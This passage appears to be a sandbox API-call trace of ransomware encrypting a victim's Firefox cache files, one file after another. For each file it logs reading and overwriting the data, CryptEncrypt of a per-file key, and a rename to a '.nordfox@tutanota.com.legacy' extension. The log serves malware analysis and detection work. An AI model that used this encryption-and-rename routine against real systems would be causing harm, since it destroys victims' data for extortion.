"c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3e98ee3664479d9428247c5b706a39c5f495b7ae"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0190.409] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4352) returned 1 [0190.409] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1100) returned 0x30f3888 [0190.409] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1100) returned 0x30f4990 [0190.409] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0x1100, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0x1100, lpOverlapped=0x0) returned 1 [0190.414] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-4352, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.414] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f4990*, nNumberOfBytesToWrite=0x1100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f4990*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1100, lpOverlapped=0x0) returned 1 [0190.415] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1100 [0190.415] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0190.415] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30dc408*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30dc408*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0190.415] WriteFile (in: hFile=0x1b80, lpBuffer=0x30dc408*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dc408*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0190.415] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0190.415] CloseHandle (hObject=0x1b80) returned 1 [0190.415] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3E98EE3664479D9428247C5B706A39C5F495B7AE" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3e98ee3664479d9428247c5b706a39c5f495b7ae"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3E98EE3664479D9428247C5B706A39C5F495B7AE.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3e98ee3664479d9428247c5b706a39c5f495b7ae.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0190.417] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30dbcd0 | out: pbBuffer=0x30dbcd0) returned 1 [0190.417] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0190.417] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3E96AE69B2C845D9D81E26B170F62BCD71497329", dwFileAttributes=0x80) returned 1 [0190.417] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30dc0f0 [0190.417] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0190.417] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3E96AE69B2C845D9D81E26B170F62BCD71497329" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3e96ae69b2c845d9d81e26b170f62bcd71497329"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0190.418] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=38843) returned 1 [0190.418] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x97bb) returned 0x30df058 [0190.418] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x97bb) returned 0x2eeb018 [0190.418] ReadFile (in: hFile=0x1b80, lpBuffer=0x30df058, nNumberOfBytesToRead=0x97bb, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30df058*, lpNumberOfBytesRead=0x2e1f9bc*=0x97bb, lpOverlapped=0x0) returned 1 [0190.430] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-38843, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.430] WriteFile (in: hFile=0x1b80, lpBuffer=0x2eeb018*, nNumberOfBytesToWrite=0x97bb, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesWritten=0x2e1f9bc*=0x97bb, lpOverlapped=0x0) returned 1 [0190.431] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x97bb [0190.431] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0190.431] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30dbcd0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30dbcd0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0190.431] WriteFile (in: hFile=0x1b80, lpBuffer=0x30dbcd0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dbcd0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0190.431] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0190.431] CloseHandle (hObject=0x1b80) returned 1 [0190.431] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3E96AE69B2C845D9D81E26B170F62BCD71497329" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3e96ae69b2c845d9d81e26b170f62bcd71497329"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3E96AE69B2C845D9D81E26B170F62BCD71497329.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3e96ae69b2c845d9d81e26b170f62bcd71497329.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0190.433] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30dc828 | out: pbBuffer=0x30dc828) returned 1 [0190.433] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0190.433] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3E538CAC2C914514ECC5B580E31B0737FF540EB1", dwFileAttributes=0x80) returned 1 [0190.433] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30dcc48 [0190.434] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0190.434] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3E538CAC2C914514ECC5B580E31B0737FF540EB1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3e538cac2c914514ecc5b580e31b0737ff540eb1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0190.434] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=11090) returned 1 [0190.434] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2b52) returned 0x30f3888 [0190.434] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2b52) returned 0x30df058 [0190.434] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0x2b52, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0x2b52, lpOverlapped=0x0) returned 1 [0190.441] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-11090, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.441] WriteFile (in: hFile=0x1b80, lpBuffer=0x30df058*, nNumberOfBytesToWrite=0x2b52, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30df058*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2b52, lpOverlapped=0x0) returned 1 [0190.441] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2b52 [0190.441] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0190.442] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30dc828*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30dc828*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0190.442] WriteFile (in: hFile=0x1b80, lpBuffer=0x30dc828*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dc828*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0190.442] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0190.442] CloseHandle (hObject=0x1b80) returned 1 [0190.442] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3E538CAC2C914514ECC5B580E31B0737FF540EB1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3e538cac2c914514ecc5b580e31b0737ff540eb1"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3E538CAC2C914514ECC5B580E31B0737FF540EB1.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3e538cac2c914514ecc5b580e31b0737ff540eb1.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0190.444] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30dc300 | out: pbBuffer=0x30dc300) returned 1 [0190.444] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0190.444] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3E42820479FADF666581B0704FA4AF901AE0E045", dwFileAttributes=0x80) returned 1 [0190.444] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30db490 [0190.444] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0190.444] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3E42820479FADF666581B0704FA4AF901AE0E045" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3e42820479fadf666581b0704fa4af901ae0e045"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0190.445] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=115) returned 1 [0190.445] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x73) returned 0x5698c8 [0190.445] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x73) returned 0x5611c0 [0190.445] ReadFile (in: hFile=0x1b80, lpBuffer=0x5698c8, nNumberOfBytesToRead=0x73, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5698c8*, lpNumberOfBytesRead=0x2e1f9bc*=0x73, lpOverlapped=0x0) returned 1 [0190.446] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-115, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.446] WriteFile (in: hFile=0x1b80, lpBuffer=0x5611c0*, nNumberOfBytesToWrite=0x73, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5611c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x73, lpOverlapped=0x0) returned 1 [0190.446] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x73 [0190.446] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0190.446] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30dc300*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30dc300*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0190.446] WriteFile (in: hFile=0x1b80, lpBuffer=0x30dc300*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dc300*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0190.447] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0190.447] CloseHandle (hObject=0x1b80) returned 1 [0190.447] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3E42820479FADF666581B0704FA4AF901AE0E045" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3e42820479fadf666581b0704fa4af901ae0e045"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3E42820479FADF666581B0704FA4AF901AE0E045.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3e42820479fadf666581b0704fa4af901ae0e045.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0190.449] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30db6a0 | out: pbBuffer=0x30db6a0) returned 1 [0190.449] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0190.449] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3DCFED4321069AB90BA910DD348E0CD9794C6635", dwFileAttributes=0x80) returned 1 [0190.449] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30dc1f8 [0190.449] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0190.449] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3DCFED4321069AB90BA910DD348E0CD9794C6635" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3dcfed4321069ab90ba910dd348e0cd9794c6635"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0190.450] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4455) returned 1 [0190.450] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1167) returned 0x30f3888 [0190.450] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1167) returned 0x30f49f8 [0190.450] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0x1167, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0x1167, lpOverlapped=0x0) returned 1 [0190.451] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-4455, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.451] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f49f8*, nNumberOfBytesToWrite=0x1167, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f49f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1167, lpOverlapped=0x0) returned 1 [0190.451] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1167 [0190.451] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0190.451] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30db6a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30db6a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0190.452] WriteFile (in: hFile=0x1b80, lpBuffer=0x30db6a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30db6a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0190.452] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0190.452] CloseHandle (hObject=0x1b80) returned 1 [0190.452] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3DCFED4321069AB90BA910DD348E0CD9794C6635" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3dcfed4321069ab90ba910dd348e0cd9794c6635"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3DCFED4321069AB90BA910DD348E0CD9794C6635.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3dcfed4321069ab90ba910dd348e0cd9794c6635.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0190.455] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30db490 | out: pbBuffer=0x30db490) returned 1 [0190.455] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0190.455] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3CA20DEB68AB8E1E6A7DA60D8461E855B8232D83", dwFileAttributes=0x80) returned 1 [0190.456] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30db9b8 [0190.456] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0190.456] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3CA20DEB68AB8E1E6A7DA60D8461E855B8232D83" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3ca20deb68ab8e1e6a7da60d8461e855b8232d83"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0190.456] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3579) returned 1 [0190.456] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xdfb) returned 0x30f3888 [0190.456] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xdfb) returned 0x30f4690 [0190.456] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0xdfb, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0xdfb, lpOverlapped=0x0) returned 1 [0190.465] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3579, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.465] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f4690*, nNumberOfBytesToWrite=0xdfb, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f4690*, lpNumberOfBytesWritten=0x2e1f9bc*=0xdfb, lpOverlapped=0x0) returned 1 [0190.466] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xdfb [0190.466] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0190.466] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30db490*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30db490*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0190.466] WriteFile (in: hFile=0x1b80, lpBuffer=0x30db490*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30db490*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0190.466] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0190.466] CloseHandle (hObject=0x1b80) returned 1 [0190.466] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3CA20DEB68AB8E1E6A7DA60D8461E855B8232D83" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3ca20deb68ab8e1e6a7da60d8461e855b8232d83"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3CA20DEB68AB8E1E6A7DA60D8461E855B8232D83.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3ca20deb68ab8e1e6a7da60d8461e855b8232d83.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0190.469] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30dbee0 | out: pbBuffer=0x30dbee0) returned 1 [0190.469] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0190.469] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3BEE3D0AFFDC410177D8F779928D53F5B4B92118", dwFileAttributes=0x80) returned 1 [0190.469] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30dc618 [0190.469] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0190.469] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3BEE3D0AFFDC410177D8F779928D53F5B4B92118" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3bee3d0affdc410177d8f779928d53f5b4b92118"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0190.470] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: 